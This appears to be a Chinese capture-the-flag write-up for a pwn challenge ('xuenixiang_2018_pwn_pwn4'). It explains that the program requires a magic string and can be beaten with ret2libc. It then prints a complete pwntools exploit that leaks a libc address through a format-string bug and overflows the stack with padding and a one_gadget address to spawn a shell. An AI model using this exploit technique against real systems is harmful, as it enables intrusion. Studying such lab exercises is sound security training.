这题本质上是ret2libc解题思路 只是加了一点骚东西来坑萌新
首先ida用的熟的话很容易就理解了程序的逻辑 逆之前是这样的
xuenixiang_2018_pwn_pwn4
可以看到这两个数据不知道是什么鬼,但需要比较,不然就会退出 但如果你知道快捷键a的用法的话,逆向起来很容易
xuenixiang_2018_pwn_pwn4
可以看到,只要先用格式化字符串泄漏出一个真实地址,然后下一次输入的时候加上字符串“真香 鸽子”,接着就用ret2libc 就可以getshell了,一点都不难 [pre]#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
p = process("./human")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil("人类的本质是什么?\n")
payload="%11$p"
p.send(payload)
p.recv()
libc_main_ret =int(p.recv(14),16)-240
print "libc_main_ret-->",hex(libc_main_ret)
libc_base=libc_main_ret-libc.sym["__libc_start_main"]
one = libc_base +0xf1147#0xf02a4
print "libc-->",hex(libc_base)
print "one-->",hex(one)
p.recvuntil("人类还有什么本质?\n")
benzhi="真香鸽子"
main = 0x4007b6
payload=benzhi+(0x20-len(benzhi))*"a"+"b"*8+p64(one)
#gdb.attach(p,"b printf")
pause()
p.send(payload)
pause()
p.interactive()
[/pre]题目源码打包:
|